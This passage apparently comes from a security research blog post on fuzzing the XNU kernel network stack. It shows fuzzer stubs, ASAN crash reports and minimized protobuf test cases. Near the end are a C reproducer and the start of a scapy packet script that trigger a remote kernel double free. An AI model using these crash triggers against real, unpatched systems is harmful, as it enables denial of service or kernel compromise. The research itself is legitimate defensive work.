bsd/kern/uipc_socket2.c:1472:3\n\n#4 0x7ff60f95821d in tcp_input bsd/netinet/tcp_input.c:5019:8\n\n#5 0x7ff60f949321 in tcp6_input bsd/netinet/tcp_input.c:1062:2\n\n#6 0x7ff60fa9263c in ip6_input bsd/netinet6/ip6_input.c:1277:10 \n \n--- \n \n \nApple managed to catch this issue before I reported it, fixing it in iOS 13. I believe Apple has added some internal hardening or testing for mbufs that caught this bug. It could be anything from a hardened mbuf allocator like [GWP-ASAN](<https://llvm.org/docs/GwpAsan.html>), to an internal ARM MTE test, to simple auditing, but it was really cool to see this issue detected in this way, and also that Apple was proactive enough to find this themselves.\n\n# Accessing User Memory\n\nWhen talking about this project with a fellow attendee at a fuzzing conference, their biggest question was how I handled user memory access. Kernels are never supposed to trust pointers provided by user-space, so whenever the kernel wants to access memory-mapped in userspace, it goes through intermediate functions copyin and copyout. By replacing these functions with our fake implementations, we can supply fuzzer-provided input to the tested code. The real kernel would have done the relevant copies from user to kernel pages. Because these copies are driven by the target code and not our testcase, I added a buffer in the protobuf specification to be used to service these requests.\n\nHere\u2019s a backtrace from our stub before we implement `copyin`. As you can see, when calling the `recvfrom` syscall, our fuzzer passed in a pointer as an argument.\n\n#6 0x7fe1176952f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fe11769a110 in copyin /source/build3/../fuzz/fake_impls.c:408:3\n\n#8 0x7fe116951a18 in __copyin_chk /source/build3/../bsd/libkern/copyio.h:47:9\n\n#9 0x7fe116951a18 in recvfrom_nocancel /source/build3/../bsd/kern/uipc_syscalls.c:2056:11\n\n#10 0x7fe117691a86 in recvfrom_nocancel_wrapper /source/build3/../fuzz/syscall_wrappers.c:244:10\n\n#11 0x4e933a in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:936:9\n\n#12 0x4e43b8 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nI\u2019ve extended the copyin specification with my fuzzer-specific semantics: when the pointer (void*)1 is passed as an address, we interpret this as a request to fetch arbitrary bytes. Otherwise, we copy directly from that virtual memory address. This way, we can begin by passing (void*)1 everywhere in the fuzz target to get as much cheap coverage as possible. Later, as we want to construct well-formed data to pass into syscalls, we build the data in the protobuf test case handler and pass a real pointer to it, allowing it to be copied. This flexibility saves us time while permitting the construction of highly-structured data inputs as we see fit.\n\nint __attribute__((warn_unused_result))\n\ncopyin(void* user_addr, void* kernel_addr, size_t nbytes) {\n\n// Address 1 means use fuzzed bytes, otherwise use real bytes.\n\n// NOTE: this does not support nested useraddr.\n\nif (user_addr != (void*)1) {\n\nmemcpy(kernel_addr, user_addr, nbytes);\n\nreturn 0;\n\n}\n\nif (get_fuzzed_bool()) {\n\nreturn -1;\n\n}\n\nget_fuzzed_bytes(kernel_addr, nbytes);\n\nreturn 0;\n\n} \n \n--- \n \nCopyout is designed similarly. We often don\u2019t care about the data copied out; we just care about the safety of the accesses. For that reason, we make sure to memcpy from the source buffer in all cases, using a temporary buffer when a copy to (void*)1 occurs. If the kernel copies out of bounds or from freed memory, for example, ASAN will catch it and inform us about a memory disclosure vulnerability.\n\n# Synchronization and Threads\n\nAmong the many changes made to XNU\u2019s behavior to support this project, perhaps the most extensive and invasive are the changes I made to the synchronization and threading model. Before beginning this project, I had spent over a year working on Chrome browser process research, where high level \u201csequences\u201d are [preferred to using physical threads](<https://chromium.googlesource.com/chromium/src/+/master/docs/threading_and_tasks.md#prefer-sequences-to-physical-threads>). Despite a paucity of data races, Chrome still had sequence-related bugs that were triggered by randomly servicing some of the pending work in between performing synchronous IPC calls. In an exploit for a bug found by the [AppCache fuzzer](<https://source.chromium.org/chromium/chromium/src/+/master:content/browser/appcache/appcache_fuzzer.cc;l=275;drc=db9ae7941adc1d95c943accce9e0151d265fd640>), sleep calls were needed to get the asynchronous work to be completed before queueing up some more work synchronously. So I already knew that asynchronous continuation-passing style concurrency could have exploitable bugs that are easy to discover with this fuzzing approach.\n\nI suspected I could find similar bugs if I used a similar model for sockfuzzer. Because XNU uses multiple kernel threads in its networking stack, I would have to port it to a cooperative style. To do this, I provided no-op implementations for all of the thread management functions and sync primitives, and instead randomly called the work functions that would have been called by the real threads. This involved modifying code: most worker threads run in a loop, processing new work as it comes in. I modified these infinitely looping helper functions to do one iteration of work and exposed them to the fuzzer frontend. Then I called them randomly as part of the protobuf message. The main benefit of doing the project this way was improved performance and determinism. Places where the kernel could block the fuzzer were modified to return early. Overall, it was a lot simpler and easier to manage a single-threaded process. But this decision did not end up yielding as many bugs as I had hoped. For example, I suspected that interleaving garbage collection of various network-related structures with syscalls would be more effective. It did achieve the goal of removing threading-related headaches from deploying the fuzzer, but this is a serious weakness that I would like to address in future fuzzer revisions.\n\n# Randomness\n\nRandomness is another service provided by kernels to userland (e.g. /dev/random) and in-kernel services requiring it. This is easy to emulate: we can just return as many bytes as were requested from the current test case\u2019s data_provider field.\n\n# Authentication\n\nXNU features some mechanisms (KAuth, mac checks, user checks) to determine whether a given syscall is permissible. Because of the importance and relative rarity of bugs in XNU, and my willingness to triage false positives, I decided to allow all actions by default. For example, the TCP multipath code requires a special entitlement, but disabling this functionality precludes us from finding Ian\u2019s multipath vulnerability. Rather than fuzz only code accessible inside the app sandbox, I figured I would just triage whatever comes up and report it with the appropriate severity in mind.\n\nFor example, when we create a socket, the kernel checks whether the running process is allowed to make a socket of the given domain, type, and protocol provided their KAuth credentials:\n\nstatic int\n\nsocket_common(struct proc *p,\n\nint domain,\n\nint type,\n\nint protocol,\n\npid_t epid,\n\nint32_t *retval,\n\nint delegate)\n\n{\n\nstruct socket *so;\n\nstruct fileproc *fp;\n\nint fd, error;\n\nAUDIT_ARG(socket, domain, type, protocol);\n\n#if CONFIG_MACF_SOCKET_SUBSET\n\nif ((error = mac_socket_check_create(kauth_cred_get(), domain,\n\ntype, protocol)) != 0) {\n\nreturn error;\n\n}\n\n#endif /* MAC_SOCKET_SUBSET */ \n \n--- \n \nWhen we reach this function in our fuzzer, we trigger an assert crash as this functionality was stubbed.\n\n#6 0x7f58f49b53f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7f58f49ba070 in kauth_cred_get /source/build3/../fuzz/fake_impls.c:272:3\n\n#8 0x7f58f3c70889 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:39\n\n#9 0x7f58f3c7043a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7f58f49b45e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nNow, we need to implement kauth_cred_get. In this case, we return a (void*)1 pointer so that NULL checks on the value will pass (and if it turns out we need to model this correctly, we\u2019ll crash again when the pointer is used).\n\nvoid* kauth_cred_get() {\n\nreturn (void*)1;\n\n} \n \n--- \n \nNow we crash actually checking the KAuth permissions. \n\n\n#6 0x7fbe9219a3f3 in Assert /source/build3/../fuzz/stubs.c:21:3\n\n#7 0x7fbe9219f100 in mac_socket_check_create /source/build3/../fuzz/fake_impls.c:312:33\n\n#8 0x7fbe914558a3 in socket_common /source/build3/../bsd/kern/uipc_syscalls.c:242:15\n\n#9 0x7fbe9145543a in socket /source/build3/../bsd/kern/uipc_syscalls.c:214:9\n\n#10 0x7fbe921995e3 in socket_wrapper /source/build3/../fuzz/syscall_wrappers.c:371:10\n\n#11 0x4e8598 in TestOneProtoInput(Session const&) /source/build3/../fuzz/net_fuzzer.cc:655:19\n\n#12 0x4e76c2 in LLVMFuzzerTestOneInput /source/build3/../fuzz/net_fuzzer.cc:631:1 \n \n--- \n \nNow we simply return 0 and move on.\n\nint mac_socket_check_create() { return 0; } \n \n--- \n \nAs you can see, we don\u2019t always need to do a lot of work to fake functionality. We can opt for a much simpler model that still gets us the results we want. \n\n\nCoverage Guided Development\n\nWe\u2019ve paid a sizable initial cost to implement this fuzz target, but we\u2019re now entering the longest and most fun stage of the project: iterating and maintaining the fuzzer. We begin by running the fuzzer continuously (in my case, I ensured it could run on ClusterFuzz). A day of work then consists of fetching the latest corpus, running a clang-coverage visualization pass over it, and viewing the report. While initially most of the work involved fixing assertion failures to get the fuzzer working, we now look for silent implementation deficiencies only visible in the coverage reports. A snippet from the report looks like the following:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjypy5nffIIMxqcIAkEku-SJldrsLbyXhU-th0AbxjTCf8e8hM-L4hpsxAJUbibDeaTMsiHpirbmlNqKqSa3eIdd1bJYm9HtfDoVTNbItsbu7xdZDq5gG9eK5l8qHEblS7LoyglGzTqzn_1l5XXNIBf9YOdT2JiJ2_6wiE9_Yd7KrDaM-MhERHw4myg/s658/image4.png>)\n\nThis excerpt from IP option handling shows that we don\u2019t support the various packets well with the current version of the fuzzer and grammar. Having this visualization is enormously helpful and necessary to succeed, as it is a source of truth about your fuzz target. By directing development work around these reports, it\u2019s relatively easy to plan actionable and high-value tasks around the fuzzer.\n\nI like to think about improving a fuzz target by either improving \u201csoundness\u201d or \u201ccompleteness.\u201d Logicians probably wouldn\u2019t be happy with how I\u2019m loosely using these terms, but they are a good metaphor for the task. To start with, we can improve the completeness of a given fuzz target by helping it reach code that we know to be reachable based on manual review. In the above example, I would suspect very strongly that the uncovered option handling code is reachable. But despite a long fuzzing campaign, these lines are uncovered, and therefore our fuzz target is incomplete, somehow unable to generate inputs reaching these lines. There are two ways to get this needed coverage: in a top-down or bottom-up fashion. Each has its tradeoffs. The top-down way to cover this code is to improve the existing grammar or C++ code to make it possible or more likely. The bottom-up way is to modify the code in question. For example, we could replace switch (opt) with something like switch (global_fuzzed_data->ConsumeRandomEnum(valid_enums). This bottom-up approach introduces unsoundness, as maybe these enums could never have been selected at this point. But this approach has often led to interesting-looking crashes that encouraged me to revert the change and proceed with the more expensive top-down implementation. When it\u2019s one researcher working against potentially hundreds of thousands of lines, you need tricks to prioritize your work. By placing many cheap bets, you can revert later for free and focus on the most fruitful areas.\n\nImproving soundness is the other side of the coin here. I\u2019ve just mentioned reverting unsound changes and moving those changes out of the target code and into the grammar. But our fake objects are also simple models for how their real implementations behave. If those models are too simple or directly inaccurate, we may either miss bugs or introduce them. I\u2019m comfortable missing some bugs as I think these simple fakes enable better coverage, and it\u2019s a net win. But sometimes, I\u2019ll observe a crash or failure to cover some code because of a faulty model. So improvements can often come in the form of making these fakes better.\n\nAll in all, there is plenty of work that can be done at any given point. Fuzzing isn\u2019t an all or nothing one-shot endeavor for large targets like this. This is a continuous process, and as time goes on, easy gains become harder to achieve as most bugs detectable with this approach are found, and eventually, there comes a natural stopping point. But despite working on this project for several months, it\u2019s remarkably far from the finish line despite producing several useful bug reports. The cool thing about fuzzing in this way is that it is a bit like excavating a fossil. Each target is different; we make small changes to the fuzzer, tapping away at the target with a chisel each day and letting our coverage metrics, not our biases, reveal the path forward.\n\n# Packet Delivery\n\nI\u2019d like to cover one example to demonstrate the value of the \u201cbottom-up\u201d unsound modification, as in some cases, the unsound modification is dramatically cheaper than the grammar-based one. Disabling hash checks is a well-known fuzzer-only modification when fuzzer-authors know that checksums could be trivially generated by hand. But it can also be applied in other places, such as packet delivery.\n\nWhen an mbuf containing a TCP packet arrives, it is handled by tcp_input. In order for almost anything meaningful to occur with this packet, it must be matched by IP address and port to an existing process control block (PCB) for that connection, as seen below.\n\nvoid\n\ntcp_input(struct mbuf *m, int off0)\n\n{\n\n// ...\n\nif (isipv6) {\n\ninp = in6_pcblookup_hash(&tcbinfo, &ip6->ip6_src, th->th_sport,\n\n&ip6->ip6_dst, th->th_dport, 1,\n\nm->m_pkthdr.rcvif);\n\n} else\n\n#endif /* INET6 */\n\ninp = in_pcblookup_hash(&tcbinfo, ip->ip_src, th->th_sport,\n\nip->ip_dst, th->th_dport, 1, m->m_pkthdr.rcvif); \n \n--- \n \nHere\u2019s the IPv4 lookup code. Note that faddr, fport_arg, laddr, and lport_arg are all taken directly from the packet and are checked against the list of PCBs, one at a time. This means that we must guess two 4-byte integers and two 2-byte shorts to match the packet to the relevant PCB. Even coverage-guided fuzzing is going to have a hard time guessing its way through these comparisons. While eventually a match will be found, we can radically improve the odds of covering meaningful code by just flipping a coin instead of doing the comparisons. This change is extremely easy to make, as we can fetch a random boolean from the fuzzer at runtime. Looking up existing PCBs and fixing up the IP/TCP headers before sending the packets is a sounder solution, but in my testing this change didn\u2019t introduce any regressions. Now when a vulnerability is discovered, it\u2019s just a matter of fixing up headers to match packets to the appropriate PCB. That\u2019s light work for a vulnerability researcher looking for a remote memory corruption bug.\n\n/*\n\n* Lookup PCB in hash list.\n\n*/\n\nstruct inpcb *\n\nin_pcblookup_hash(struct inpcbinfo *pcbinfo, struct in_addr faddr,\n\nu_int fport_arg, struct in_addr laddr, u_int lport_arg, int wildcard,\n\nstruct ifnet *ifp)\n\n{\n\n// ...\n\nhead = &pcbinfo->ipi_hashbase[INP_PCBHASH(faddr.s_addr, lport, fport,\n\npcbinfo->ipi_hashmask)];\n\nLIST_FOREACH(inp, head, inp_hash) {\n\n- if (inp->inp_faddr.s_addr == faddr.s_addr &&\n\n- inp->inp_laddr.s_addr == laddr.s_addr &&\n\n- inp->inp_fport == fport &&\n\n- inp->inp_lport == lport) {\n\n+ if (!get_fuzzed_bool()) {\n\nif (in_pcb_checkstate(inp, WNT_ACQUIRE, 0) !=\n\nWNT_STOPUSING) {\n\nlck_rw_done(pcbinfo->ipi_lock);\n\nreturn inp; \n \n--- \n \n \nAstute readers may have noticed that the PCBs are fetched from a hash table, so it\u2019s not enough just to replace the check. The 4 values used in the linear search are used to calculate a PCB hash, so we have to make sure all PCBs share a single bucket, as seen in the diff below. The real kernel shouldn\u2019t do this as lookups become O(n), but we only create a few sockets, so it\u2019s acceptable.\n\ndiff \\--git a/bsd/netinet/in_pcb.h b/bsd/netinet/in_pcb.h\n\nindex a5ec42ab..37f6ee50 100644\n\n\\--- a/bsd/netinet/in_pcb.h\n\n+++ b/bsd/netinet/in_pcb.h\n\n@@ -611,10 +611,9 @@ struct inpcbinfo {\n\nu_int32_t ipi_flags;\n\n};\n\n-#define INP_PCBHASH(faddr, lport, fport, mask) \\\n\n- (((faddr) ^ ((faddr) >> 16) ^ ntohs((lport) ^ (fport))) & (mask))\n\n-#define INP_PCBPORTHASH(lport, mask) \\\n\n- (ntohs((lport)) & (mask))\n\n+// nedwill: let all pcbs share the same hash\n\n+#define INP_PCBHASH(faddr, lport, fport, mask) (0)\n\n+#define INP_PCBPORTHASH(lport, mask) (0)\n\n#define INP_IS_FLOW_CONTROLLED(_inp_) \\\n\n((_inp_)->inp_flags & INP_FLOW_CONTROLLED) \n \n--- \n \nChecking Our Work: Reproducing the Sample Bugs\n\nWith most of the necessary supporting code implemented, we can fuzz for a while without hitting any assertions due to unimplemented stubbed functions. At this stage, I reverted the fixes for the two inspiration bugs I mentioned at the beginning of this article. Here\u2019s what we see shortly after we run the fuzzer with those fixes reverted: \n\n\n==1633983==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61d00029f474 at pc 0x00000049fcb7 bp 0x7ffcddc88590 sp 0x7ffcddc87d58\n\nWRITE of size 20 at 0x61d00029f474 thread T0\n\n#0 0x49fcb6 in __asan_memmove /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:30:3\n\n#1 0x7ff64bd83bd9 in __asan_bcopy fuzz/san.c:37:3\n\n#2 0x7ff64ba9e62f in icmp_error bsd/netinet/ip_icmp.c:362:2\n\n#3 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#4 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#5 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#6 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#7 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9\n\n0x61d00029f474 is located 12 bytes to the left of 2048-byte region [0x61d00029f480,0x61d00029fc80)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7ff64bd82b20 in mbuf_create fuzz/zalloc.c:157:45\n\n#2 0x7ff64bd8319e in mcache_alloc fuzz/zalloc.c:187:12\n\n#3 0x7ff64b69ae84 in m_getcl bsd/kern/uipc_mbuf.c:3962:6\n\n#4 0x7ff64ba9e15c in icmp_error bsd/netinet/ip_icmp.c:296:7\n\n#5 0x7ff64baaff9b in ip_dooptions bsd/netinet/ip_input.c:3577:2\n\n#6 0x7ff64baa921b in ip_input bsd/netinet/ip_input.c:2230:34\n\n#7 0x7ff64bd7d440 in ip_input_wrapper fuzz/backend.c:132:3\n\n#8 0x4dbe29 in DoIpInput fuzz/net_fuzzer.cc:610:7\n\n#9 0x4de0ef in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:720:9 \n \n--- \n \nWhen we inspect the test case, we see that a single raw IPv4 packet was generated to trigger this bug. This is to be expected, as the bug doesn\u2019t require an existing connection, and looking at the stack, we can see that the test case triggered the bug in the IPv4-specific ip_input path.\n\ncommands {\n\nip_input {\n\nraw_ip4: \"M\\001\\000I\\001\\000\\000\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\\000\\000\\000\\000\\000III\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333\\333IIIIIIIIIIIIII\"\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nIf we fix that issue and fuzz a bit longer, we soon see another crash, this time in the MPTCP stack. This is Ian\u2019s MPTCP vulnerability. The ASAN report looks strange though. Why is it crashing during garbage collection in mptcp_session_destroy? The original vulnerability was an OOB write, but ASAN couldn\u2019t catch it because it corrupted memory within a struct. This is a well-known shortcoming of ASAN and similar mitigations, importantly the upcoming MTE. This means we don\u2019t catch the bug until later, when a randomly corrupted pointer is accessed.\n\n==1640571==ERROR: AddressSanitizer: attempting free on address which was not malloc()-ed: 0x6190000079dc in thread T0\n\n#0 0x4a0094 in free /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:123:3\n\n#1 0x7fbdfc7a16b0 in _FREE fuzz/zalloc.c:293:36\n\n#2 0x7fbdfc52b624 in mptcp_session_destroy bsd/netinet/mptcp_subr.c:742:3\n\n#3 0x7fbdfc50c419 in mptcp_gc bsd/netinet/mptcp_subr.c:4615:3\n\n#4 0x7fbdfc4ee052 in mp_timeout bsd/netinet/mp_pcb.c:118:16\n\n#5 0x7fbdfc79b232 in clear_all fuzz/backend.c:83:3\n\n#6 0x4dfd5c in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:1010:3\n\n0x6190000079dc is located 348 bytes inside of 920-byte region [0x619000007880,0x619000007c18)\n\nallocated by thread T0 here:\n\n#0 0x4a0479 in calloc /b/s/w/ir/cache/builder/src/third_party/llvm/compiler-rt/lib/asan/asan_malloc_linux.cpp:154:3\n\n#1 0x7fbdfc7a03d4 in zalloc fuzz/zalloc.c:37:10\n\n#2 0x7fbdfc4ee710 in mp_pcballoc bsd/netinet/mp_pcb.c:222:8\n\n#3 0x7fbdfc53cf8a in mptcp_attach bsd/netinet/mptcp_usrreq.c:211:15\n\n#4 0x7fbdfc53699e in mptcp_usr_attach bsd/netinet/mptcp_usrreq.c:128:10\n\n#5 0x7fbdfc0e1647 in socreate_internal bsd/kern/uipc_socket.c:784:10\n\n#6 0x7fbdfc0e23a4 in socreate bsd/kern/uipc_socket.c:871:9\n\n#7 0x7fbdfc118695 in socket_common bsd/kern/uipc_syscalls.c:266:11\n\n#8 0x7fbdfc1182d1 in socket bsd/kern/uipc_syscalls.c:214:9\n\n#9 0x7fbdfc79a26e in socket_wrapper fuzz/syscall_wrappers.c:371:10\n\n#10 0x4dd275 in TestOneProtoInput(Session const&) fuzz/net_fuzzer.cc:655:19 \n \n--- \n \nHere\u2019s the protobuf input for the crashing testcase:\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_srcaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\304\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_IDEMPOTENT\n\nflags: CONNECT_DATA_AUTHENTICATED\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_0\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"\"\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\nflags: CONNECT_DATA_IDEMPOTENT\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ncommands {\n\nioctl_real {\n\nsiocsifflags {\n\nifr_name: LO0\n\nflags: IFF_LINK1\n\n}\n\n}\n\n}\n\ncommands {\n\nclose {\n\nfd: FD_8\n\n}\n\n}\n\ndata_provider: \"\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\\025\" \n \n--- \n \nHmm, that\u2019s quite large and hard to follow. Is the bug really that complicated? We can use libFuzzer\u2019s crash minimization feature to find out. Protobuf-based test cases simplify nicely because even large test cases are already structured, so we can randomly edit and remove nodes from the message. After about a minute of automated minimization, we end up with the test shown below.\n\ncommands {\n\nsocket {\n\ndomain: AF_MULTIPATH\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nconnectx {\n\nsocket: FD_0\n\nendpoints {\n\nsae_srcif: IFIDX_CASE_1\n\nsae_dstaddr {\n\nsockaddr_generic {\n\nsa_family: AF_MULTIPATH\n\nsa_data: \"bugmbuf_debutoeloListen_dedeloListen_dedebuloListete_debugmbuf_debutoeloListen_dedeloListen_dedebuloListeListen_dedebuloListe_dtrte\" # string length 131\n\n}\n\n}\n\n}\n\nassocid: ASSOCID_CASE_0\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \n \nThis is a lot easier to read! It appears that SockFuzzer managed to open a socket from the AF_MULTIPATH domain and called connectx on it with a sockaddr using an unexpected sa_family, in this case AF_MULTIPATH. Then the large sa_data field was used to overwrite memory. You can see some artifacts of heuristics used by the fuzzer to guess strings as \u201clisten\u201d and \u201cmbuf\u201d appear in the input. This testcase could be further simplified by modifying the sa_data to a repeated character, but I left it as is so you can see exactly what it\u2019s like to work with the output of this fuzzer.\n\nIn my experience, the protobuf-formatted syscalls and packet descriptions were highly useful for reproducing crashes and tended to work on the first attempt. I didn\u2019t have an excellent setup for debugging on-device, so I tried to lean on the fuzzing framework as much as I could to understand issues before proceeding with the expensive process of reproducing them.\n\nIn [my ](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>)[previous post](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) describing the \u201cSockPuppet\u201d vulnerability, I walked through one of the newly discovered vulnerabilities, from protobuf to exploit. I\u2019d like to share another original protobuf bug report for a remotely-triggered vulnerability I reported [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1976>).\n\ncommands {\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_RAW\n\nprotocol: IPPROTO_IP\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_RCVBUF\n\nval: \"\\021\\000\\000\\000\"\n\n}\n\n}\n\ncommands {\n\nset_sock_opt {\n\nlevel: IPPROTO_IPV6\n\nname: IP_FW_ZERO\n\nval: \"\\377\\377\\377\\377\"\n\n}\n\n}\n\ncommands {\n\nip_input {\n\ntcp6_packet {\n\nip6_hdr {\n\nip6_hdrctl {\n\nip6_un1_flow: 0\n\nip6_un1_plen: 0\n\nip6_un1_nxt: IPPROTO_ICMPV6\n\nip6_un1_hlim: 0\n\n}\n\nip6_src: IN6_ADDR_LOOPBACK\n\nip6_dst: IN6_ADDR_ANY\n\n}\n\ntcp_hdr {\n\nth_sport: PORT_2\n\nth_dport: PORT_1\n\nth_seq: SEQ_1\n\nth_ack: SEQ_1\n\nth_off: 0\n\nth_win: 0\n\nth_sum: 0\n\nth_urp: 0\n\nis_pure_syn: false\n\nis_pure_ack: false\n\n}\n\ndata: \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377q\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\"\n\n}\n\n}\n\n}\n\ndata_provider: \"\" \n \n--- \n \nThis automatically minimized test case requires some human translation to a report that\u2019s actionable by developers who don\u2019t have access to our fuzzing framework. The test creates a socket and sets some options before delivering a crafted ICMPv6 packet. You can see how the packet grammar we specified comes in handy. I started by transcribing the first three syscall messages directly by writing the following C program.\n\n#include <sys/socket.h>\n\n#define __APPLE_USE_RFC_3542\n\n#include <netinet/in.h>\n\n#include <stdio.h>\n\n#include <unistd.h>\n\nint main() {\n\nint fd = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nif (fd < 0) {\n\nprintf(\"failed\\n\");\n\nreturn 0;\n\n}\n\nint res;\n\n// This is not needed to cause a crash on macOS 10.14.6, but you can\n\n// try setting this option if you can't reproduce the issue.\n\n// int space = 1;\n\n// res = setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &space, sizeof(space));\n\n// printf(\"res1: %d\\n\", res);\n\nint enable = 1;\n\nres = setsockopt(fd, IPPROTO_IPV6, IPV6_RECVPATHMTU, &enable, sizeof(enable));\n\nprintf(\"res2: %d\\n\", res);\n\n// Keep the socket open without terminating.\n\nwhile (1) {\n\nsleep(5);\n\n}\n\nclose(fd);\n\nreturn 0;\n\n} \n \n--- \n \nWith the socket open, it\u2019s now a matter of sending a special ICMPv6 packet to trigger the bug. Using the original crash as a guide, I reviewed the code around the crashing instruction to understand which parts of the input were relevant. I discovered that sending a \u201cpacket too big\u201d notification would reach the buggy code, so I used the [scapy](<https://scapy.net/>) library for Python to send the buggy packet locally. My kernel panicked, confirming the double free vulnerability.\n\nfrom scapy.all import sr1, IPv6, ICMPv6PacketTooBig, raw\n\nouter = IPv6(dst=\"::1\") / 